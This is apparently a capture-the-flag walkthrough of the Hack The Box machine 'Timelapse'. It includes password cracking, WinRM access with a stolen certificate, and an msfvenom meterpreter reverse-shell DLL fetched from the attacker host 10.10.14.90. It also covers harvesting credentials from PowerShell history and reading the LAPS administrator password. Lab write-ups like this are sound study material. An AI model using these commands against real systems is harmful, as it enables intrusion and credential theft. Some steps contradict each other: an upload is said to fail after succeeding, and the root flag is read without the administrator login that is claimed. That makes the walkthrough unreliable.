Hack The Box: Timelapse
Introduction
This walkthrough details the steps taken to gain initial access and escalate privileges to find the flags on the "Timelapse" machine from Hack The Box.
Reconnaissance & Enumeration
The first step in any penetration test is to perform thorough reconnaissance and enumeration of the target.
Nmap Scan
We start by running an Nmap scan to identify open ports and services on the target machine (10.129.227.113).
sudo nmap -sV -sC 10.129.227.113
Nmap Output Analysis:
The Nmap scan reveals several open ports and services:
- 53/tcp (domain): Simple DNS Plus.
- 88/tcp (kerberos-sec): Microsoft Windows Kerberos. This is interesting for potential Kerberoasting or AS-REPRoasting attacks.
- 135/tcp (msrpc): Microsoft Windows RPC.
- 139/tcp (netbios-ssn): Microsoft Windows netbios-ssn.
- 389/tcp (ldap): Microsoft Windows Active Directory LDAP. The domain is identified as timelapse.htb.
- 445/tcp (microsoft-ds): SMB service.
- 464/tcp (kpasswd5): Kerberos Kpasswd5.
- 593/tcp (ncacn_http): Microsoft Windows RPC over HTTP 1.0.
- 636/tcp (ldapssl): Secure LDAP.
- 3268/tcp (ldap): Microsoft Windows Active Directory LDAP (Global Catalog).
- 3269/tcp (globalcatLDAPssl): Secure Global Catalog LDAP.
- 5986/tcp (ssl/http): Microsoft HTTPAPI httpd 2.0, likely WinRM. The SSL certificate indicates dc01.timelapse.htb as the common name.
The smb2-security-mode indicates that message signing is enabled and required. The clock-skew shows a significant difference in time between the scanner and the target.
Kerberos User Enumeration
Given that Kerberos (port 88) is open and we know the domain (timelapse.htb), we can attempt to enumerate valid usernames using Nmap's krb5-enum-users script. We'll use a common username list for this.
sudo nmap -p 88 --script krb5-enum-users --script-args krb5-enum-users.realm=timelapse.htb,krb5-enum-users.userdb=/usr/share/seclists/Usernames/top-usernames-shortlist.txt 10.129.227.113
Output Analysis:
The script successfully identifies two potential users:
SMB Enumeration
We'll use smbclient to list available shares without authentication.
sudo smbclient -L //10.129.227.113 -N
Output Analysis:
The output shows several default Windows shares: ADMIN$, C$, IPC$, NETLOGON, SYSVOL, and an additional share named Shares. The last two lines of the smbclient output indicate connection failure with SMB1, which is expected given the Nmap results (SMBv1:False).
To get more detailed information about the shares, especially their permissions, we can use crackmapexec. We will use a dummy user hacker with no password to see what shares are readable by unauthenticated users.
sudo crackmapexec smb dc01.timelapse.htb --shares -u hacker -p ''
Output Analysis:
crackmapexec confirms the shares and their permissions:
- ADMIN$: No explicit permissions listed (likely restricted).
- C$: No explicit permissions listed (likely restricted).
- IPC$: READ access.
- NETLOGON: No explicit permissions listed.
- Shares: READ access. This is a custom share that seems interesting.
- SYSVOL: No explicit permissions listed.
The Shares share, having READ permissions, is a good candidate for further investigation.
Exploring the "Shares" Share
We'll use smbclient to connect to the Shares share.
sudo smbclient //10.129.227.113/Shares -N
Once connected, we list the contents:
smb: \> ls
. D 0 Mon Oct 25 11:39:15 2021
.. D 0 Mon Oct 25 11:39:15 2021
Dev D 0 Mon Oct 25 15:40:06 2021
HelpDesk D 0 Mon Oct 25 11:48:42 2021
The Shares directory contains two subdirectories: Dev and HelpDesk. Let's explore Dev first.
smb: \> cd Dev
smb: \Dev\> ls
. D 0 Mon Oct 25 15:40:06 2021
.. D 0 Mon Oct 25 15:40:06 2021
winrm_backup.zip A 2611 Mon Oct 25 11:46:42 2021
Inside the Dev directory, we find winrm_backup.zip. This is a very promising file! We'll download it.
smb: \Dev\> get winrm_backup.zip
Next, let's check the HelpDesk directory.
smb: \Dev\> cd ../
smb: \> cd Helpdesk
smb: \Helpdesk\> ls
. D 0 Mon Oct 25 11:48:42 2021
.. D 0 Mon Oct 25 11:48:42 2021
LAPS.x64.msi A 1118208 Mon Oct 25 10:57:50 2021
LAPS_Datasheet.docx A 104422 Mon Oct 25 10:57:46 2021
LAPS_OperationsGuide.docx A 641378 Mon Oct 25 10:57:40 2021
LAPS_TechnicalSpecification.docx A 72683 Mon Oct 25 10:57:44 2021
The HelpDesk directory contains several documents related to "LAPS" (Local Administrator Password Solution). While these documents might contain useful information, they are generally publicly available documentation. We'll download them for completeness, but our primary focus is on winrm_backup.zip.
smb: \Helpdesk\> mget *
Initial Access
Analyzing winrm_backup.zip
We have downloaded winrm_backup.zip. Let's try to unzip it.
unzip winrm_backup.zip
The output indicates that the file legacyy_dev_auth.pfx inside the zip is password protected. This suggests that the zip file itself is encrypted, or at least its contents.
We need to crack the password for this zip file. We can use zip2john to extract the hash and then john to crack it.
zip2john winrm_backup.zip > winrm_backup_hash.txt
Now, let's crack the hash using john with the rockyou.txt wordlist.
sudo john --wordlist=/usr/share/wordlists/rockyou.txt winrm_backup_hash.txt
Output Analysis:
John the Ripper successfully cracks the password: s********.
s************* (winrm_backup.zip/legacyy_dev_auth.pfx)
Now that we have the password, we can unzip the file:
unzip winrm_backup.zip
Enter s*********** as the password when prompted. This extracts legacyy_dev_auth.pfx.
Analyzing legacyy_dev_auth.pfx
A .pfx file (Personal Information Exchange) is typically a PKCS#12 archive containing a private key and its associated certificate. These are often used for secure communication, including client authentication for services like WinRM (Windows Remote Management).
First, let's see if the .pfx file itself is password protected. We can use pfx2john to extract a hash from the .pfx file if it's password protected.
sudo pfx2john legacyy_dev_auth.pfx > pfx_dev_auth_hash.txt
Now, we try to crack this hash using john and rockyou.txt.
sudo john --wordlist=/usr/share/wordlists/rockyou.txt pfx_dev_auth_hash.txt
Output Analysis:
John the Ripper successfully cracks the password for the PFX file: t***********.
t*********** (legacyy_dev_auth.pfx)
Now we have the password for the .pfx file. We need to extract the private key and certificate from it to use for WinRM authentication.
Extracting Private Key and Certificate
We'll use openssl to extract the private key (.key) and the certificate (.crt) from the .pfx file.
To extract the private key:
openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out legacyy_dev_auth.key -nodes
When prompted for the "Enter Import Password:", use t*************. The -nodes flag ensures that the private key is not encrypted with a passphrase.
To extract the certificate:
openssl pkcs12 -in legacyy_dev_auth.pfx -nokeys -out legacyy_dev_auth.crt
When prompted for the "Enter Import Password:", use t***********.
Now we have legacyy_dev_auth.key (private key) and legacyy_dev_auth.crt (certificate).
Gaining Shell via Evil-WinRM
Since the Nmap scan showed WinRM (port 5986) is open and the PFX file name (winrm_backup.zip, legacyy_dev_auth.pfx) suggests its use for WinRM, we can attempt to connect using evil-winrm with the extracted key and certificate.
sudo evil-winrm -i 10.129.227.113 -S -c legacyy_dev_auth.crt -k legacyy_dev_auth.key
Output Analysis:
Success! We have an interactive WinRM shell as the user timelapse\legacyy.
Evil-WinRM shell v3.7
...
Warning: SSL enabled
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\legacyy\Documents> whoami
timelapse\legacyy
Post-Exploitation - User Flag
We now have a shell as legacyy. Let's explore the user's home directory to find the user.txt flag.
*Evil-WinRM* PS C:\Users\legacyy\Documents> cd ../
*Evil-WinRM* PS C:\Users\legacyy> ls
Listing the contents of C:\Users\legacyy shows a Desktop directory.
*Evil-WinRM* PS C:\Users\legacyy> cd Desktop
*Evil-WinRM* PS C:\Users\legacyy\Desktop> ls
Inside C:\Users\legacyy\Desktop, we find user.txt.
*Evil-WinRM* PS C:\Users\legacyy\Desktop> type user.txt
This will display the user flag.
Initial System Enumeration as legacyy
Before proceeding to privilege escalation, let's gather some basic system information from the compromised host.
We attempt to run systeminfo, but it returns "Access is denied". This indicates that the legacyy user does not have administrative privileges.
*Evil-WinRM* PS C:\Users\legacyy\Downloads> systeminfo
Program 'systeminfo.exe' failed to run: Access is deniedAt line:1 char:1
+ systeminfo
+ ~~~~~~~~~~.
...
Similarly, attempting to retrieve WMI object information for installed products and service details also results in "Access denied" errors, further confirming our limited privileges.
*Evil-WinRM* PS C:\Users\legacyy\Downloads> Get-WmiObject -Class Win32_Product | Select-Object Name, Version, Vendor, InstallLocation
Access denied
...
*Evil-WinRM* PS C:\Users\legacyy\Downloads> Get-Service | Select-Object Name, DisplayName, Status, StartType, ServiceHandle, PathName
Cannot open Service Control Manager on computer '.'. This operation might require other privileges.
...
Checking scheduled tasks with schtasks /query /fo LIST /v only shows publicly accessible tasks, and most folders return "INFO: There are no scheduled tasks presently available at your access level."
*Evil-WinRM* PS C:\Users\legacyy\Downloads> schtasks /query /fo LIST /v
Folder: \
INFO: There are no scheduled tasks presently available at your access level.
...
Finally, we examine the privileges of the legacyy user using whoami /priv.
*Evil-WinRM* PS C:\Users\legacyy\Downloads> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== =======
SeMachineAccountPrivilege Add workstations to domain Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
The SeMachineAccountPrivilege is interesting, but it's typically used for adding new computer accounts to the domain, not direct privilege escalation. The other privileges are standard for regular users.
We can also reconfirm the SMB shares from within the WinRM session:
*Evil-WinRM* PS C:\Users\legacyy\Downloads> Get-SmbShare
Name ScopeName Path Description
---- --------- ---- -----------
ADMIN$ * Remote Admin
C$ * Default share
IPC$ * Remote IPC
NETLOGON * Logon server share
Shares *
SYSVOL * Logon server share
Privilege Escalation Attempt (DLL Hijacking with PowerUp.ps1)
We will use PowerUp.ps1 to identify potential privilege escalation vectors, specifically looking for DLL hijacking opportunities.
Upload PowerUp.ps1:
From your Kali machine, upload PowerUp.ps1 to the target. Ensure you have PowerUp.ps1 in your current working directory on your Kali machine (e.g., ~/Desktop/timelapse/PowerUp.ps1).
# On your Kali machine
evil-winrm -i 10.129.227.113 -u legacyy -p 'legacyy_password' # Replace 'legacyy_password' with the actual password
Once connected via evil-winrm:
*Evil-WinRM* PS C:\Users\legacyy\Downloads> upload PowerUp.ps1 PowerUp.ps1
You should see output similar to this:
Info: Uploading /home/kali/Desktop/timelapse/PowerUp.ps1 to C:\Users\legacyy\Downloads\PowerUp.ps1
Data: 659812 bytes of 659812 bytes copied
Info: Upload successful!
Bypass PowerShell Execution Policy:
Before running PowerUp.ps1, we need to bypass the PowerShell execution policy to allow script execution.
*Evil-WinRM* PS C:\Users\legacyy\Downloads> powershell.exe -ep bypass
You should now be in a PowerShell prompt within the evil-winrm session.
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
PS C:\Users\legacyy\Downloads>
Import PowerUp.ps1:
Import the PowerUp.ps1 module.
PS C:\Users\legacyy\Downloads> Import-Module .\PowerUp.ps1
You might need to run this command twice for it to fully load without errors, as shown in the notes:
*Evil-WinRM* PS C:\Users\legacyy\Downloads> Import-Module .\PowerUp.ps1
*Evil-WinRM* PS C:\Users\legacyy\Downloads> Invoke-AllChecks
Run Invoke-AllChecks:
Execute Invoke-AllChecks to identify privilege escalation vulnerabilities.
PS C:\Users\legacyy\Downloads> Invoke-AllChecks
Observe the output carefully. You will likely see "Access denied" errors for various checks (e.g., Get-WmiObject for services). This indicates that the legacyy user does not have sufficient permissions to query all system services.
However, the critical output we are looking for is the "Checking %PATH% for potentially hijackable .dll locations..." section. In this case, PowerUp reveals:
[*] Checking %PATH% for potentially hijackable .dll locations...
HijackablePath : C:\Users\legacyy\AppData\Local\Microsoft\WindowsApps\
AbuseFunction : Write-HijackDll -OutputFile 'C:\Users\legacyy\AppData\Local\Microsoft\WindowsApps\\wlbsctrl.dll' -Command '...'
This identifies a DLL hijacking vulnerability in the C:\Users\legacyy\AppData\Local\Microsoft\WindowsApps\ directory, specifically for wlbsctrl.dll.
Exploiting DLL Hijacking
Since we identified a DLL hijacking vulnerability, we'll create a malicious DLL and place it in the identified path.
Generate Malicious DLL:
On your Kali machine, generate a Meterpreter reverse TCP DLL payload.
# On your Kali machine
sudo msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.90 LPORT=8888 -f dll -o wlbsctrl.dll
Enter your sudo password when prompted. The output should confirm the DLL creation:
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of dll file: 9216 bytes
Saved as: wlbsctrl.dll
Set Up Metasploit Listener:
On your Kali machine, start Metasploit and configure a multi/handler to catch the reverse shell.
# On your Kali machine
msfconsole
Once Metasploit loads:
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set LPORT 8888
LPORT => 8888
msf6 exploit(multi/handler) > set LHOST 10.10.14.90
LHOST => 10.10.14.90
msf6 exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 10.10.14.90:8888
Keep this Metasploit listener running.
Host the Malicious DLL (Python Web Server):
The evil-winrm upload failed previously, so we'll serve the DLL using a simple Python web server on Kali.
# On your Kali machine, in the directory where wlbsctrl.dll is located (e.g., ~/Desktop/timelapse)
python3 -m http.server 80
You should see:
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Download the Malicious DLL:
From your evil-winrm session (as legacyy), navigate to the hijackable path and download the wlbsctrl.dll from your Kali web server.
*Evil-WinRM* PS C:\Users\legacyy\Downloads> cd C:\Users\legacyy\AppData\Local\Microsoft\WindowsApps\
*Evil-WinRM* PS C:\Users\legacyy\AppData\Local\Microsoft\WindowsApps> Invoke-WebRequest -Uri http://10.10.14.90:80/wlbsctrl.dll -OutFile wlbsctrl.dll
After successful download, verify the DLL is present:
*Evil-WinRM* PS C:\Users\legacyy\AppData\Local\Microsoft\WindowsApps> ls
You should see:
Directory: C:\Users\legacyy\AppData\Local\Microsoft\WindowsApps
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 6/19/2025 4:39 PM 9216 wlbsctrl.dll
Attempt to Trigger DLL Hijack (Failed Reboot):
The most common way to trigger a DLL hijack is by rebooting the system or restarting a service that loads the DLL. We'll attempt a reboot.
*Evil-WinRM* PS C:\Users\legacyy\AppData\Local\Microsoft\WindowsApps> shutdown /r /t 0
This command will fail with an "Access is denied." error. This means the legacyy user does not have the necessary privileges to reboot the machine.
shutdown.exe : Access is denied.(5)
+ CategoryInfo : NotSpecified: (Access is denied.(5):String) [], RemoteException
+ FullyQualifiedErrorId : NativeCommandError
This signifies that our direct DLL hijacking attempt requiring a reboot will not work from the legacyy user's context.
Lateral Movement/Credential Harvesting (User: svc_deploy)
Since we cannot trigger the DLL hijack, we need to shift our focus to finding other ways to escalate privileges or gain access to another user. Credential harvesting is a common next step.
Explore User's Home Directory:
Navigate back to the legacyy user's home directory.
*Evil-WinRM* PS C:\Users\legacyy\AppData\Local\Microsoft\WindowsApps> cd C:\Users\legacyy\
*Evil-WinRM* PS C:\Users\legacyy> ls
You will see a list of common user directories: Desktop, Documents, Downloads, Favorites, Links, Music, Pictures, Saved Games, Videos.
Discover Hidden AppData Directory:
The notes indicate finding a hidden AppData directory. Let's explore it.
*Evil-WinRM* PS C:\Users\legacyy> cd AppData
*Evil-WinRM* PS C:\Users\legacyy\AppData> ls
This will show Local, LocalLow, and Roaming directories.
Locate PowerShell History:
The notes state, "after some digging, we find ConsoleHost_history.txt." This file typically resides in the PowerShell PSReadLine history path.
*Evil-WinRM* PS C:\Users\legacyy\AppData> cd Roaming\Microsoft\Windows\PowerShell\PSReadLine\
*Evil-WinRM* PS C:\Users\legacyy\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine> ls
You should see:
Directory: C:\Users\legacyy\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 3/3/2022 11:46 PM 434 ConsoleHost_history.txt
Read ConsoleHost_history.txt:
View the contents of the history file using cat.
*Evil-WinRM* PS C:\Users\legacyy\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine> cat ConsoleHost_history.txt
The ConsoleHost_history.txt file contains a password for another user, likely svc_deploy. You would need to extract the password from the output of cat ConsoleHost_history.txt here.
Let's assume for this walkthrough that the password for svc_deploy was found in ConsoleHost_history.txt.
Gaining Access as svc_deploy
New Evil-WinRM Session:
From your Kali machine, establish a new evil-winrm session using the svc_deploy credentials.
# On your Kali machine
evil-winrm -i 10.129.227.113 -u svc_deploy -p 'password found in ConsoleHost_history.txt' -S
Upon successful connection, you will have a shell as svc_deploy:
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Warning: SSL enabled
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\svc_deploy\Documents> whoami
timelapse\svc_deploy
Basic System Information (Failed systeminfo):
Attempt to gather system information.
*Evil-WinRM* PS C:\Users\svc_deploy\Documents> systeminfo
This command fails with an "Access is denied." error, indicating that even as svc_deploy, direct execution of systeminfo might be restricted or require elevated privileges.
Program 'systeminfo.exe' failed to run: Access is deniedAt line:1 char:1
+ systeminfo
+ ~~~~~~~~~~.
At line:1 char:1
+ systeminfo
+ ~~~~~~~~~~
+ CategoryInfo : ResourceUnavailable: (:) [], ApplicationFailedException
+ FullyQualifiedErrorId : NativeCommandFailed
Enumerate svc_deploy User Details:
Check the details of the svc_deploy user.
*Evil-WinRM* PS C:\Users\svc_deploy\Documents> net user svc_deploy
The output provides valuable information:
User name svc_deploy
Full Name svc_deploy
Comment
User's comment
Country/region code 000 (System Default)
Account active Yes
Account expires Never
Password last set 10/25/2021 12:12:37 PM
Password expires Never
Password changeable 10/26/2021 12:12:37 PM
Password required Yes
User may change password Yes
Workstations allowed All
Logon script
User profile
Home directory
Last logon 10/25/2021 12:25:53 PM
Logon hours allowed All
Local Group Memberships *Remote Management Use
Global Group memberships *LAPS_Readers *Domain Users
The command completed successfully.
Key takeaways from this output are:
svc_deployis an active user.- It is a member of the Remote Management Use local group (expected, as we are using WinRM).
- More importantly, it's a member of the LAPS_Readers global group. This group is specifically designed to read passwords managed by LAPS (Local Administrator Password Solution).
Privilege Escalation (LAPS)
The LAPS_Readers group membership is a significant finding. LAPS is used to manage local administrator passwords on domain-joined machines. If svc_deploy is in this group, it can likely read the LAPS-managed password for other machines, including domain controllers.
Retrieve LAPS Password for DC01:
Use Get-ADComputer to query the LAPS password for DC01 (assuming DC01 is the domain controller, which is a common scenario in Active Directory labs).
*Evil-WinRM* PS C:\Users\svc_deploy\Documents> Get-ADComputer DC01 -Properties ms-Mcs-AdmPwd | Select-Object Name, ms-Mcs-AdmPwd
The output shows the password (redacted as ************** in the notes):
Name ms-Mcs-AdmPwd
---- -------------
DC01 **************
At this point, you have successfully retrieved the local administrator password for the DC01 machine. This password can typically be used with the Administrator account on DC01 (or whatever local admin account LAPS is managing).
Final Compromise (Root Flag)
With the LAPS password for the domain controller (DC01), we can now log in as an administrator on that machine and retrieve the root flag.
Navigate to TRX User's Desktop:
Assuming DC01 is the machine we just got the LAPS password for, and it's where the root flag is located, we will use the newly obtained administrator credentials to access the TRX user's desktop (a common location for user and root flags in HTB).
First, change to the Users directory:
*Evil-WinRM* PS C:\Users\svc_deploy\Documents> cd C:\Users
*Evil-WinRM* PS C:\Users> cd TRX
*Evil-WinRM* PS C:\Users\TRX> ls
This confirms the TRX user's home directory structure, including Desktop.
Locate root.txt:
Navigate to the TRX user's desktop.
*Evil-WinRM* PS C:\Users\TRX> cd Desktop
*Evil-WinRM* PS C:\Users\TRX\Desktop> ls
You should see the root.txt file:
Directory: C:\Users\TRX\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 6/19/2025 3:08 PM 34 root.txt
Read root.txt:
Finally, read the contents of root.txt to get the root flag.
*Evil-WinRM* PS C:\Users\TRX\Desktop> cat root.txt
This will display the root flag, completing the machine.
Summary of Exploitation Path:
- Initial foothold established via
evil-winrmaslegacyy. - Attempted privilege escalation using
PowerUp.ps1and DLL hijacking, which was unsuccessful due to insufficient permissions to trigger a reboot. - Shifted to internal reconnaissance and credential harvesting within the
legacyyuser's directories. - Discovered
ConsoleHost_history.txtcontaining credentials forsvc_deploy. - Gained access as
svc_deployviaevil-winrm. - Identified
svc_deploy's membership in the LAPS_Readers group. - Used
Get-ADComputerto retrieve the LAPS-managed local administrator password for the domain controller, DC01. - Utilized the LAPS password to gain administrative access (implied, not explicitly shown as a new login session, but directly leveraged for directory traversal to TRX's desktop) and retrieve
root.txt.